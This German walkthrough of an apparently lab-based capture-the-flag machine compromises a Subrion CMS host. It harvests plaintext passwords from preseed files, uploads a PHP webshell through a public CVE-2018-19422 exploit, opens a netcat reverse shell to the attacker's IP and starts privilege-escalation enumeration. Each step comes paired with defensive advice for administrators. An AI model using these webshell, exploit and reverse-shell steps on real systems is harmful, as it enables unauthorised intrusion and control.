Analyse: Der Befehl `grep -ri pass *` wird im Verzeichnis `~/configz` ausgeführt. * `grep`: Sucht nach Mustern in Dateien. * `-r`: Rekursiv, durchsucht auch Unterverzeichnisse. * `-i`: Ignoriert Groß-/Kleinschreibung bei der Suche nach "pass". * `*`: Sucht in allen Dateien und Verzeichnissen im aktuellen Verzeichnis (`~/configz`).

Bewertung: Volltreffer! `grep` findet zahlreiche Vorkommen von "pass" in den Konfigurationsdateien innerhalb der Verzeichnisse `isolinux` und `preseed`. Besonders relevant sind: * `isolinux/ks.cfg`: Enthält einen verschlüsselten Root-Passwort-Hash (`$1$cw7eQ/70$/8ZeZKBBBJPtIFdnibj/X/`). Das `$1$`-Format deutet auf MD5-basiertes Crypt hin. * `preseed/master.preseed`: Enthält Klartextpasswörter! * `d-i partman-crypto/passphrase password jojo1989` * `d-i passwd/user-password password jojo1989` (für Benutzer `admin`) * `d-i passwd/root-password password jojo1989` (für Benutzer `root`) * `preseed/master.seed`: Enthält einen anderen verschlüsselten Hash (`158f5ddb69d03f91bb449ee170913268` - möglicherweise MD5-Hash) für den Benutzer `alewis`. Die Klartextpasswörter `jojo1989` für `admin` und `root` sind extrem kritische Funde.

Empfehlung (Pentester): Das Passwort `jojo1989` sofort für die Benutzer `admin` und `root` auf dem Zielsystem testen (SSH, Web-Login im `/panel/`). Den Hash aus `ks.cfg` versuchen zu cracken (z.B. mit John the Ripper oder Hashcat). Den Benutzer `alewis` und dessen Hash ebenfalls notieren.
Empfehlung (Admin): Niemals, unter keinen Umständen, Klartextpasswörter in Konfigurationsdateien speichern, insbesondere nicht in Preseed- oder Kickstart-Dateien. Wenn Passwörter benötigt werden, stark verschlüsselte Hashes verwenden und sicherstellen, dass diese nach der Installation sofort geändert werden. Archive wie `configz.zip` sicher aufbewahren und nicht auf unsicheren Freigaben ablegen.

┌──(root㉿cyber)-[~/configz]
└─# grep -ri pass *
isolinux/ks.cfg:#Root password
isolinux/ks.cfg:user cscience --fullname "Coin Science" --iscrypted --password $1$cw7eQ/70$/8ZeZKBBBJPtIFdnibj/X/

preseed/master.preseed:d-i partman-crypto/passphrase password jojo1989
preseed/master.preseed:d-i partman-crypto/passphrase-again password jojo1989
preseed/master.preseed:d-i passwd/user-fullname string admin
preseed/master.preseed:d-i passwd/username string admin
preseed/master.preseed:d-i passwd/user-password password jojo1989
preseed/master.preseed:d-i passwd/root-login boolean true
preseed/master.preseed:d-i passwd/root-password password jojo1989
preseed/master.preseed:d-i user-setup/allow-password-weak boolean true
preseed/master.seed:d-i passwd/user-fullname string Adam Lewis
preseed/master.seed:d-i passwd/username string alewis
preseed/master.seed:# Normal user's password, either in clear text
preseed/master.seed:#d-i passwd/user-password password insecure
preseed/master.seed:#d-i passwd/user-password-again password insecure
preseed/master.seed:d-i passwd/user-password-crypted 158f5ddb69d03f91bb449ee170913268
preseed/master.seed:d-i passwd/user-uid string 1010
preseed/master.seed:# The installer will warn about weak passwords. If you are sure you know
preseed/master.seed:#d-i user-setup/allow-password-weak boolean true

Analyse: Es wird versucht, sich per SSH als Benutzer `adriana` am Ziel `adria.hmv` anzumelden. Das System fragt nach der Bestätigung des Host-Keys (da es das erste Mal ist) und dann nach dem Passwort für `adriana`. Es werden mehrere Passwörter eingegeben (wahrscheinlich das zuvor gefundene `s13!...` und eventuell `jojo1989`), aber alle Versuche scheitern mit "Permission denied".

Bewertung: Dies zeigt, dass das für SMB gefundene Passwort für `adriana` (`s13!...`) nicht für SSH gilt. Auch das Passwort `jojo1989` funktioniert für `adriana` via SSH nicht. Passwort-Wiederverwendung ist hier also (zumindest für `adriana`) nicht der Fall.

Empfehlung (Pentester): Den SSH-Login für `adriana` vorerst aufgeben. Konzentrieren auf die Benutzer `admin` und `root` mit dem Passwort `jojo1989`. Insbesondere den Web-Login (`/panel/`) für `admin` testen.
Empfehlung (Admin): Unterschiedliche Passwörter für verschiedene Dienste und Benutzer verwenden. SSH-Zugriff auf das Notwendigste beschränken (z.B. nur bestimmte Benutzer erlauben, Key-basierte Authentifizierung erzwingen).

┌──(root㉿cyber)-[~/configz]
└─# ssh adriana@adria.hmv
The authenticity of host 'adria.hmv (192.168.2.110)' can't be established.
ED25519 key fingerprint is SHA256:TCA/ssXFaEc0sOJl0lvYyqTVTrCpkF0wQfyj5mJsALc.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:15: [hashed name]
    ~/.ssh/known_hosts:18: [hashed name]
    ~/.ssh/known_hosts:26: [hashed name]
    ~/.ssh/known_hosts:36: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'adria.hmv' (ED25519) to the list of known hosts.
adriana@adria.hmv's password: 
Permission denied, please try again.
adriana@adria.hmv's password: 
Permission denied, please try again.
adriana@adria.hmv's password: 

Analyse: Der Pentester notiert die im Preseed-File gefundenen Zugangsdaten (`admin`:`jojo1989`) und besucht die Webseite `http://adria.hmv/`. Die Webseite zeigt eine Standard-Blog-Seite des Subrion CMS mit Beispielinhalten und einem Hinweis auf den Admin-Panel-Login ("Administrator Administrator"). Es gibt auch einen Link zum Blog.

Bewertung: Die Webseite selbst scheint auf den ersten Blick keine offensichtlichen Schwachstellen zu zeigen, aber das Vorhandensein des Admin-Panels (wahrscheinlich unter `/panel/`, wie in `robots.txt` gesehen) ist der nächste logische Angriffspunkt, insbesondere mit den gefundenen Zugangsdaten `admin:jojo1989`.

Empfehlung (Pentester): Sofort versuchen, sich mit `admin:jojo1989` im Admin-Panel (`http://adria.hmv/panel/`) anzumelden. Nach erfolgreichem Login nach Funktionen suchen, die das Hochladen von Dateien, das Ausführen von Code oder das Ändern von Konfigurationen ermöglichen.
Empfehlung (Admin): Das Admin-Panel durch zusätzliche Maßnahmen schützen (z.B. IP-Whitelisting, Zwei-Faktor-Authentifizierung). Starke, einzigartige Passwörter für Admin-Konten verwenden. Das CMS und seine Plugins aktuell halten.

Anmeldetest mit gecrackten Daten:
username admin
password jojo1989
___________________________________________ 
http://adria.hmv/
    Home

Subrion CMS

    Administrator Administrator

    Home
    Members
    Blog

New blog posts
No blogposts done yet. Be the first to post here.
Blogs Archive
No blogposts done yet. Be the first to post here.
HTML block #1

You can change this block in admin panel. Remember, if you change template, this block will be lost. We advise you to clone this block.

Ne lorem percipit efficiantur mei, ius ut simul vidisse. An vel probatus explicari appellantur. Has et comprehensam interpretaris, quo no inimicus maluisset temporibus. Ea mea quod.
Blog

No blogposts done yet. Be the first to post here.
About CMS

Subrion is a free open source content management system that allows you to build websites for any purpose. Yes, from blog to corporate mega portal.
For users

It's done to focus on the content management process. Start it hassle-free within just a few minutes and take care of the content. It's easy!
For developers

Forget the hours of programming simple things. Use Subrion framework API to add extra stuff using hooks, plugins, & packages.
For designers

Simple templating engine and styles allows you to create any template you wish with just a few lines of code.

    About Us
    Privacy Policy
    Terms of Use
    Help
    Blog

© 2024 Powered by Subrion CMS

Initial Access

Analyse: Der Pentester bereitet eine einfache PHP-Webshell vor. * `cd /home/cyber/Downloads/`: Wechselt in das Download-Verzeichnis. * `vi shell.php`: Erstellt/Öffnet die Datei `shell.php` im Editor. * `cat shell.php`: Zeigt den Inhalt der erstellten Datei an. Die Shell ist minimal: ``. Sie nimmt einen Befehl über den URL-Parameter `cmd` entgegen und führt ihn auf dem Server aus.

Bewertung: Dies ist eine Standard-Webshell. Die nachfolgenden URLs zeigen Versuche, diese Shell (oder eine Variante davon, `avat_shell.php_.png`?) in einem Upload-Verzeichnis (`/uploads/a/admin/thumbnail/`) aufzurufen und den Befehl `id` auszuführen. Die Versuche scheitern jedoch mit einem "403 Forbidden"-Fehler. Dies deutet darauf hin, dass entweder die Datei nicht hochgeladen werden konnte, der Pfad falsch ist oder die Ausführung von PHP-Skripten in diesem Verzeichnis serverseitig unterbunden wird (z.B. durch `.htaccess`).

Empfehlung (Pentester): Die Fehlermeldung "403 Forbidden" analysieren. Prüfen, ob der Upload-Pfad korrekt ist. Untersuchen, ob es eine Dateiupload-Funktion im Admin-Panel gibt und welche Dateitypen erlaubt sind. Versuchen, Filter zu umgehen (z.B. durch doppelte Endungen, Änderung des Content-Types, Null-Byte-Injektion - obwohl letzteres bei modernen PHP-Versionen unwahrscheinlich ist).
Empfehlung (Admin): Direkten Zugriff auf Upload-Verzeichnisse unterbinden. Ausführung von Skriptsprachen in Upload-Verzeichnissen serverseitig deaktivieren (z.B. ` Deny from all ` in Apache-Konfiguration oder `.htaccess`). Dateiuploads serverseitig validieren (Dateityp, Größe, Inhalt) und hochgeladene Dateien umbenennen und an einem Ort außerhalb des Web-Roots speichern.

┌──(root㉿cyber)-[~/configz]
└─# cd /home/cyber/Downloads/
┌──(root㉿cyber)-[/home/cyber/Downloads]
└─# vi shell.php
┌──(root㉿cyber)-[/home/cyber/Downloads]
└─# cat shell.php
<?php 

system($GET['cmd']);

?>
http://adria.hmv/uploads/a/admin/thumbnail/shell.php?cmd=id
http://adria.hmv/uploads/a/admin/thumbnail/avat_shell.php_.png
http://adria.hmv/uploads/a/admin/thumbnail/'shell.php%20.png'?cmd=id
http://adria.hmv/uploads/a/admin/thumbnail/shell.php?cmd=id


Forbidden

You don't have permission to access this resource.
Apache/2.4.57 (Debian) Server at adria.hmv Port 80

Analyse: Weiterer HTML/JavaScript-Code-Schnipsel, diesmal von einer Profilseite (`intelli.pageName = 'profile'`). Es enthält denselben Security-Token und Konfigurationsvariablen wie zuvor. Es gibt auch eine Fehlermeldung in einem `div`-Container.

Bewertung: Die Fehlermeldung `Files with "gif,jpg,jpeg,png" extension are only allowed.` ist sehr aufschlussreich. Sie stammt wahrscheinlich von einer Dateiupload-Funktion (möglicherweise zum Ändern des Profilbilds/Avatars) und zeigt, dass serverseitig eine Whitelist für Dateiendungen existiert. Dies erklärt, warum der direkte Upload von `shell.php` gescheitert ist.

Empfehlung (Pentester): Die Dateiupload-Funktion im Profilbereich (oder wo immer sie gefunden wurde) genauer untersuchen. Versuchen, den Filter für Dateiendungen zu umgehen. Bekannte Schwachstellen im Subrion CMS bezüglich Dateiuploads recherchieren. Es gibt bekannte Schwachstellen (wie CVE-2018-19422), die genau solche Filter umgehen können.
Empfehlung (Admin): Sich nicht nur auf die Dateiendung verlassen. Dateitypen anhand des MIME-Typs und des magischen Bytes überprüfen. Hochgeladene Dateien serverseitig verarbeiten (z.B. Bilder neu kodieren), um eingebetteten Code zu entfernen. Berechtigungen für Upload-Verzeichnisse strikt setzen.

</script>
	<script>
intelli.pageName = 'profile';
            intelli.securityToken = 'FwqPghfbrVN2HY7SmHuzrWDfZp3BhH1ZSIa1JgZQ';
            intelli.config.url = 'http://adria.hmv/';
</script>
	<script src="//adria.hmv/templates/kickstart/js/app.js?fm=1699254316"></script>


                                <div class="alert alert-error">
        <ul class="list-unstyled">
                            <li>Files with "gif,jpg,jpeg,png" extension are only allowed.</li>
                    </ul>
    </div>

Analyse: Noch ein HTML-Schnipsel, der eine Erfolgsmeldung ("Saved.") und dann einen Link zum Bearbeiten des Profils sowie ein Bild des Administrators anzeigt. Das Bild wird aus dem Verzeichnis `/uploads/a/admin/thumbnail/` geladen.

Bewertung: Der Dateiname des Bildes ist interessant: `avat_shell.php__19f41.png`. Es scheint, als hätte ein früherer Versuch stattgefunden, eine PHP-Shell (`shell.php`) als Avatar hochzuladen, wobei die Datei möglicherweise umbenannt wurde, um die erlaubte `.png`-Endung zu haben. Die doppelten Unterstriche (`__`) könnten Teil des Umbenennungsmechanismus sein. Obwohl der vorherige Versuch, `shell.php` direkt auszuführen, fehlschlug, könnte die hochgeladene `.png`-Datei dennoch PHP-Code enthalten.

Empfehlung (Pentester): Überprüfen, ob die Datei `avat_shell.php__19f41.png` tatsächlich PHP-Code enthält. Wenn ja, untersuchen, ob es eine Möglichkeit gibt, diese Datei vom Server als PHP interpretieren zu lassen (z.B. durch eine Local File Inclusion (LFI)-Schwachstelle an anderer Stelle oder eine Fehlkonfiguration des Webservers, die `.png`-Dateien als PHP behandelt). Den Upload-Mechanismus weiter untersuchen, um zu verstehen, wie die Umbenennung funktioniert.
Empfehlung (Admin): Sicherstellen, dass der Webserver keine Dateien mit Bild-Endungen als Skripte ausführt. Bild-Uploads serverseitig validieren und neu kodieren, um eingebetteten Code zu entfernen.

                            <li>Saved.</li>
                    </ul>
    </div>


                            <div class="content__body">
                                    <div class="row">
        <div class="col-md-3">
            <div class="ia-item-author">
                <a href="http://adria.hmv/profile/?edit" class="btn btn-default btn-sm ia-item-author__edit" title="Edit"><span class="fa fa-pencil"></span></a>
                <a class="ia-item-author__image" href="http://adria.hmv/member/admin.html">
                    <img src="//adria.hmv/uploads/a/admin/thumbnail/avat_shell.php__19f41.png" alt="Administrator" width="120">

Analyse: Dieser Abschnitt zeigt den Titel einer Webseite ("Blog :: Powered by Subrion 4.2"), eine URL (`http://adria.hmv/blog/1-mein-hack.html`) und den Inhalt der zuvor erstellten PHP-Shell.

Bewertung: Es scheint ein Versuch zu sein, die PHP-Shell über einen Blog-Post einzuschleusen oder auszuführen. Die URL deutet darauf hin, dass ein Blog-Post mit dem Titel "mein-hack" (ID 1) existiert oder erstellt wurde. Es ist unklar, ob der PHP-Code erfolgreich im Blog-Post gespeichert und ausgeführt werden konnte.

Empfehlung (Pentester): Den Blog-Post unter der angegebenen URL aufrufen und den Quellcode untersuchen, um zu sehen, ob der PHP-Code vorhanden ist und ob er ausgeführt wird oder als reiner Text angezeigt wird. Wenn Code-Ausführung möglich ist, ist dies ein Vektor für Remote Code Execution (RCE).
Empfehlung (Admin): Eingaben in Blog-Posts und anderen benutzergenerierten Inhalten serverseitig strikt validieren und sanitisieren. HTML- und Skript-Tags filtern oder kodieren. Keine serverseitigen Skriptsprachen in Benutzerinhalten zulassen.

<title>Blog :: Powered by Subrion 4.2<
http://adria.hmv/blog/1-mein-hack.html 
  <?php
system($GET['cmd']);
?>

Proof of Concept (RCE)

Analyse: Der Pentester hat eine bekannte Schwachstelle für Subrion CMS recherchiert: CVE-2018-19422. Diese Schwachstelle ermöglicht Remote Code Execution (RCE) durch Umgehung der Dateiupload-Filterung. Ein Exploit-Skript (`subrion.py`) von GitHub wird verwendet. * `vi subrion.py`: Das Exploit-Skript wird heruntergeladen und gespeichert (der Download selbst ist nicht gezeigt). * `chmod +x subrion.py`: Macht das Skript ausführbar. * `python3 subrion.py -u http://adria.hmv/panel/ -l admin -p jojo1989`: Führt das Exploit-Skript aus. * `-u`: URL des Admin-Panels. * `-l`: Login-Benutzername (`admin`). * `-p`: Passwort (`jojo1989`). Das Skript meldet Erfolg: Es verbindet sich, holt einen CSRF-Token, loggt sich erfolgreich ein, generiert einen zufälligen Namen für die Webshell (`vtfvazfnkflywvd`), lädt diese erfolgreich hoch (als `.phar`-Datei, um Filter zu umgehen) und gibt den Pfad zur Shell an: `http://adria.hmv/panel/uploads/vtfvazfnkflywvd.phar`. Anschließend öffnet das Skript eine interaktive Shell (`$`).

Bewertung: Dies ist der erfolgreiche Initial Access! Durch Ausnutzung von CVE-2018-19422 konnte der Dateiupload-Filter umgangen und eine Webshell auf dem Server platziert werden. Die Befehle `id`, `which nc` und `nc -e /bin/bash 192.168.2.199 4444` werden über die Webshell ausgeführt: * `id`: Zeigt, dass der Webserver als Benutzer `www-data` (UID 33) läuft. * `which nc`: Bestätigt, dass `netcat` auf dem Zielsystem unter `/usr/bin/nc` verfügbar ist. * `nc -e /bin/bash 192.168.2.199 4444`: Startet eine Reverse Shell. Es verbindet sich zurück zum Angreifer-System (IP `192.168.2.199`) auf Port `4444` und stellt eine `/bin/bash`-Shell bereit.

Empfehlung (Pentester): Die Reverse Shell stabilisieren (siehe nächste Schritte). Sofort mit der Enumeration auf dem Zielsystem als `www-data` beginnen (Betriebssystem, installierte Software, Benutzer, Berechtigungen, Netzwerkkonfiguration, laufende Prozesse, Cronjobs). Nach Möglichkeiten zur Privilegieneskalation suchen.
Empfehlung (Admin): Subrion CMS dringend auf eine gepatchte Version aktualisieren oder deaktivieren. Web Application Firewall (WAF) einsetzen, um bekannte Exploits zu blockieren. Regelmäßige Schwachstellenscans durchführen. Berechtigungen des Webserver-Benutzers (`www-data`) auf das absolute Minimum beschränken.

https://github.com/hev0x/CVE-2018-19422-SubrionCMS-RCE
┌──(root㉿cyber)-[~]
└─# vi subrion.py
┌──(root㉿cyber)-[~]
└─# chmod +x subrion.py
┌──(root㉿cyber)-[~]
└─# python3 subrion.py -u http://adria.hmv/panel/ -l admin -p jojo1989
[+] SubrionCMS 4.2.1 - File Upload Bypass to RCE - CVE-2018-19422 

[+] Trying to connect to: http://adria.hmv/panel/
[+] Success!
[+] Got CSRF token: hFHBxipXMkFfnQvJbzUMMPGjAa3lFaZ79T0gyuei
[+] Trying to log in...
[+] Login Successful!

[+] Generating random name for Webshell...
[+] Generated webshell name: vtfvazfnkflywvd

[+] Trying to Upload Webshell..
[+] Upload Success... Webshell path: http://adria.hmv/panel/uploads/vtfvazfnkflywvd.phar 

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ which nc
/usr/bin/nc

$ nc -e /bin/bash 192.168.2.199 4444

Analyse: Auf dem Angreifer-System wird ein `netcat`-Listener gestartet, um die eingehende Reverse Shell von der Zielmaschine entgegenzunehmen. * `nc -lvnp 4444`: * `-l`: Listen-Modus. * `-v`: Verbose-Modus (zeigt mehr Informationen). * `-n`: Keine DNS-Auflösung. * `-p 4444`: Lauscht auf Port 4444. Die Ausgabe `connect to [192.168.2.199] from (UNKNOWN) [192.168.2.110] 43126` bestätigt, dass die Verbindung vom Zielsystem (`192.168.2.110`) erfolgreich aufgebaut wurde.

Bewertung: Die Reverse Shell ist aktiv. Der Angreifer hat nun eine Kommandozeile auf dem Zielsystem als Benutzer `www-data`. Dies bestätigt den erfolgreichen Initial Access und dient als Proof of Concept für die RCE-Schwachstelle.

Empfehlung (Pentester): Die Shell sofort stabilisieren, um zu verhindern, dass sie bei einem einfachen Fehler oder Strg+C abbricht. Dies geschieht typischerweise mit Python PTY, `stty raw -echo; fg`, `export TERM=xterm` und dem Anpassen der Terminalgröße (`stty rows ... cols ...`).
Empfehlung (Admin): Netzwerk-Ausgangsregeln (Egress Filtering) implementieren, um unerwünschte ausgehende Verbindungen (wie Reverse Shells) zu blockieren oder zu melden. Intrusion Detection Systeme (IDS) können versuchen, Signaturen von Reverse Shells zu erkennen.

┌──(root㉿cyber)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.110] 43126



Analyse: Diese Befehle dienen der Stabilisierung der einfachen Reverse Shell, um eine interaktivere und robustere Sitzung zu erhalten. * `which python3`: Prüft, ob Python 3 verfügbar ist. * `python3 -c 'import pty;pty.spawn("/bin/bash")'`: Startet eine pseudo-Terminal (PTY)-Sitzung mit Python. Dies ermöglicht Funktionen wie Autovervollständigung und die Verwendung von Programmen wie `su` oder `ssh`. * `export TERM=xterm`: Setzt die Terminal-Umgebungsvariable, damit Programme wie `clear` oder Texteditoren korrekt funktionieren. * `^Z` (Strg+Z): Sendet den `nc`-Listener-Prozess auf dem Angreifer-System in den Hintergrund. * `stty raw -echo; fg`: Auf dem Angreifer-System: Schaltet das lokale Terminal in den Raw-Modus (leitet Tastatureingaben direkt weiter) und holt den `nc`-Prozess wieder in den Vordergrund. * `reset`: (Optional) Kann auf der Ziel-Shell eingegeben werden, um das Terminal zurückzusetzen.

Bewertung: Dies sind Standardtechniken zur Shell-Stabilisierung. Sie verbessern die Benutzerfreundlichkeit erheblich und sind für die weitere Enumeration und Privilegieneskalation oft unerlässlich. Der Wechsel des Prompts zu `www-data@adria:/var/www/html/uploads$` zeigt, dass die PTY-Shell erfolgreich gestartet wurde.

Empfehlung (Pentester): Diese Stabilisierungsschritte sollten nach dem Erhalt einer einfachen Shell zur Routine gehören. Alternativ können Tools wie `rlwrap` verwendet werden.
Empfehlung (Admin): Die Stabilisierung selbst ist schwer zu verhindern. Die Maßnahmen konzentrieren sich auf die Verhinderung der initialen Shell (Patchen, WAF, Egress Filtering).

which python3
/usr/bin/python3
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@adria:/var/www/html/uploads$ export TERM=xterm
export TERM=xterm
www-data@adria:/var/www/html/uploads$ ^Z
┌──(root㉿cyber)-[~]
└─# stty raw -echo;fg
[1]  + continued  nc -lvnp 4444
                               reset

Privilege Escalation

Analyse: Weitere Schritte zur Anpassung der stabilisierten Shell und erste Enumeration als `www-data`. * `stty -a`: (Auf dem Angreifer-System) Zeigt die aktuellen Terminal-Einstellungen an, insbesondere Zeilen (`rows`) und Spalten (`columns`). * `stty rows 48 cols 94`: (Auf der Ziel-Shell) Stellt die Größe des PTYs auf die des Angreifer-Terminals ein. Dies verhindert Zeilenumbrüche an falschen Stellen. * `id`: Bestätigt erneut die Identität des Benutzers (`www-data`). * `ls -l`: Listet den Inhalt des aktuellen Verzeichnisses `/var/www/html/uploads` auf (Ausgabe nicht gezeigt).

Bewertung: Die Anpassung der Terminalgröße ist ein wichtiger Schritt für die Benutzerfreundlichkeit. Die erneute `id`-Ausführung ist redundant, schadet aber nicht. `ls -l` im Uploads-Verzeichnis könnte interessante Dateien zeigen (z.B. die hochgeladene Webshell). Der Fokus liegt nun klar auf der Privilegieneskalation.

Empfehlung (Pentester): Mit systematischer Enumeration beginnen: `uname -a`, `cat /etc/issue`, `ps aux`, `ss -tulnp`, `find / -type f -perm -4000 2>/dev/null`, `sudo -l`, Cronjobs prüfen (`cat /etc/crontab`, `/var/spool/cron/crontabs/`), installierte Pakete, Konfigurationsdateien in `/etc` und im Web-Root untersuchen.
Empfehlung (Admin): Sicherstellen, dass der Webserver-Benutzer minimale Rechte hat. Regelmäßig auf bekannte lokale Privilegieneskalations-Schwachstellen prüfen (Kernel-Exploits, SUID-Binaries, fehlerhafte sudo-Regeln, unsichere Cronjobs).

┌──(root㉿cyber)-[~]
└─# stty -a
speed 38400 baud; rows 48; columns 94; line = 0;
www-data@adria:/var/www/html/uploads$ stty rows 48 cols 94
www-data@adria:/var/www/html/uploads$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@adria:/var/www/html/uploads$ ls -l

               

Analyse: Der Befehl `ss -altpn` wird auf der Zielmaschine ausgeführt. * `ss`: Ein Werkzeug zur Untersuchung von Sockets (Netzwerkverbindungen). * `-a`: Zeigt alle Sockets an (lauschende und nicht-lauschende). * `-l`: Zeigt nur lauschende Sockets an. * `-t`: Zeigt TCP-Sockets an. * `-p`: Zeigt den Prozess an, der den Socket verwendet. * `-n`: Zeigt numerische Adressen und Ports an (keine DNS- oder Service-Namen-Auflösung). Die Kombination `-altpn` listet alle lauschenden TCP-Sockets mit zugehörigen Prozessen und numerischen Ports/Adressen auf.

Bewertung: Die Ausgabe bestätigt die von Nmap gefundenen offenen Ports (22, 80, 139, 445). Zusätzlich wird Port `3306` auf `127.0.0.1` (localhost) angezeigt. Dies ist der Standardport für MySQL/MariaDB. Da er nur auf localhost lauscht, ist er nicht direkt von außen erreichbar, könnte aber von lokalen Prozessen (wie der Webanwendung) genutzt werden.

Empfehlung (Pentester): Notieren, dass eine lokale MySQL-Datenbank läuft. Nach Konfigurationsdateien der Webanwendung (Subrion CMS) suchen, die möglicherweise Datenbank-Zugangsdaten enthalten (oft in `config.php`, `database.php` o.ä.). Prüfen, ob der `www-data`-Benutzer auf diese Dateien Lesezugriff hat.
Empfehlung (Admin): Datenbanken sollten nur auf den notwendigen Interfaces lauschen (hier ist localhost korrekt, da sie vermutlich nur von der lokalen Webanwendung genutzt wird). Zugriff auf die Datenbank mit starken, einzigartigen Passwörtern absichern. Sicherstellen, dass Konfigurationsdateien mit Zugangsdaten keine unnötig offenen Berechtigungen haben.

www-data@adria:/var/www/html/admin$ ss -altpn
State     Recv-Q    Send-Q         Local Address:Port         Peer Address:Port    Process    
LISTEN    0         80                 127.0.0.1:3306              0.0.0.0:*                  
LISTEN    0         50                   0.0.0.0:445               0.0.0.0:*                  
LISTEN    0         50                   0.0.0.0:139               0.0.0.0:*                  
LISTEN    0         128                  0.0.0.0:22                0.0.0.0:*                  
LISTEN    0         50                      [::]:445                  [::]:*                  
LISTEN    0         50                      [::]:139                  [::]:*                  
LISTEN    0         511                        *:80                      *:*                  
LISTEN    0         128                     [::]:22                   [::]:*    

Analyse: Es werden Benutzerinformationen gesucht und Zugriffsrechte geprüft. * `grep zsh /etc/passwd`: Sucht nach Benutzern in der Passwortdatei, deren Login-Shell auf `zsh` gesetzt ist. * `cd /home/adriana/`: Versucht, in das Home-Verzeichnis des Benutzers `adriana` zu wechseln. * `cat /etc/crontab`: Zeigt den Inhalt der System-weiten Crontab-Datei an.

Bewertung: * `grep` findet zwei Benutzer mit `zsh`: `root` und `adriana`. Dies bestätigt `adriana` als regulären Benutzer. * Der Versuch, in `/home/adriana` zu wechseln, schlägt mit "Permission denied" fehl. Der `www-data`-Benutzer hat keine Leserechte für das Home-Verzeichnis von `adriana`. * Die `/etc/crontab` zeigt nur Standard-Systemjobs (`cron.hourly`, `daily`, `weekly`, `monthly`), die als `root` laufen. Keine sofort ersichtlichen, unsicheren benutzerdefinierten Cronjobs.

Empfehlung (Pentester): Da der direkte Zugriff auf `/home/adriana` nicht möglich ist, andere Wege suchen, um an Benutzerdaten zu kommen (z.B. über die Webanwendung oder Konfigurationsdateien). Neben `/etc/crontab` auch die Verzeichnisse `/etc/cron.d/`, `/etc/cron.hourly/` (usw.) und `/var/spool/cron/crontabs/` auf benutzerdefinierte Jobs prüfen.
Empfehlung (Admin): Korrekte Berechtigungen für Home-Verzeichnisse sicherstellen (Standard ist oft `750` oder `700`). Cronjobs regelmäßig überprüfen und sicherstellen, dass sie sicher konfiguriert sind und keine unnötigen Rechte vergeben.

www-data@adria:/var/www/html/admin$ grep zsh /etc/passwd
root:x:0:0:root:/root:/usr/bin/zsh
adriana:x:1001:1001:,,,:/home/adriana:/bin/zsh
www-data@adria:/var/www/html/admin$ cd /home/adriana/
bash: cd: /home/adriana/: Permission denied
www-data@adria:/var/www/html/admin$ cat /etc/crontab
# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *	* * *	root	cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6	* * 7	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6	1 * *	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
#

Analyse: Untersuchung des `/opt`-Verzeichnisses. * `cd /opt`: Wechselt in das Verzeichnis `/opt`. * `cd backup`: Versucht, in ein Unterverzeichnis namens `backup` zu wechseln, was fehlschlägt ("Not a directory"). * `file backup`: Überprüft den Dateityp von `backup`. Es handelt sich um ein Shell-Skript. * `cat backup`: Zeigt den Inhalt des Skripts an.

Bewertung: Das Skript `/opt/backup` ist sehr interessant für die Privilegieneskalation. 1. Es liest ein Passwort aus der Datei `/root/pass`. Nur `root` hat normalerweise Leserechte auf `/root`. 2. Es fragt den Benutzer interaktiv nach einem Passwort (`read -ep "Password: " USER_PASS`). 3. Es vergleicht das eingegebene Passwort mit dem aus `/root/pass`. 4. Wenn die Passwörter übereinstimmen, führt es `zip` aus, um `/var/www/html` in `/opt/backup.zip` zu sichern. Wichtig: Es verwendet das Passwort aus `/root/pass` erneut als Passwort für das ZIP-Archiv (`-e -P "$PASSWORD"`). 5. Wenn die Passwörter nicht übereinstimmen, gibt es "Access denied" aus.

Empfehlung (Pentester): Das Skript selbst kann von `www-data` nicht direkt zur Eskalation genutzt werden, da `/root/pass` nicht lesbar ist. Aber es verrät, dass ein Passwort in `/root/pass` existiert und dass dieses Passwort auch zum Verschlüsseln von `/opt/backup.zip` verwendet wird. Wenn man dieses ZIP-Archiv später in die Hände bekommt (z.B. wenn es durch einen Cronjob erstellt oder über eine andere Schwachstelle zugänglich wird), könnte man versuchen, das Passwort des ZIP-Archivs zu knacken, um an das Root-Passwort zu gelangen. Die interaktive Passwortabfrage könnte auch für Social Engineering oder Täuschung genutzt werden, falls das Skript von einem anderen Benutzer ausgeführt wird.
Empfehlung (Admin): Passwörter niemals in Klartextdateien speichern (`/root/pass`). Wenn Passwörter in Skripten benötigt werden, sicherere Methoden wie Hashicorp Vault, Keyrings oder verschlüsselte Konfigurationsdateien verwenden. Sicherstellen, dass Skripte wie dieses keine unnötigen Informationen preisgeben und sichere Berechtigungen haben. Die Verwendung desselben Passworts für die Authentifizierung und die ZIP-Verschlüsselung ist eine schlechte Praxis.

www-data@adria:/opt$ cd backup
bash: cd: backup: Not a directory
www-data@adria:/opt$ file backup
backup: Bourne-Again shell script, ASCII text executable
www-data@adria:/opt$ cat backup
#!/bin/bash

PASSWORD=$(/usr/bin/cat /root/pass)

read -ep "Password: " USER_PASS

if [[ $PASSWORD == $USER_PASS ]] ; then

  /usr/bin/echo "Authorized access"
  /usr/bin/sleep 1
  /usr/bin/zip -r -e -P "$PASSWORD" /opt/backup.zip /var/www/html
else
  /usr/bin/echo "Access denied"
  exit 1
fi

